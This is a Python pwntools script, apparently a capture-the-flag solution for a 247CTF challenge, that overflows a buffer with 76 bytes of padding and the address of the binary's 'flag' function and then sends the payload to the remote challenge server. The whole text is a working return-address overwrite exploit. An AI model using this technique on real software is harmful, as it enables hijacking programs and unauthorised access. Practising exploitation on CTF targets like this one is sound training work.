#!/usr/bin/python3 from pwn import * context.binary = target = ELF("./hidden_flag_function", checksec=False) # r = process() r = remote("9fe3144560d92c37.247ctf.com", 50224) # funcs s = lambda a: r.sendlineafter(b"?", a) # buf buf = b"A"*76 buf += p64(target.sym.flag) s(buf) r.interactive()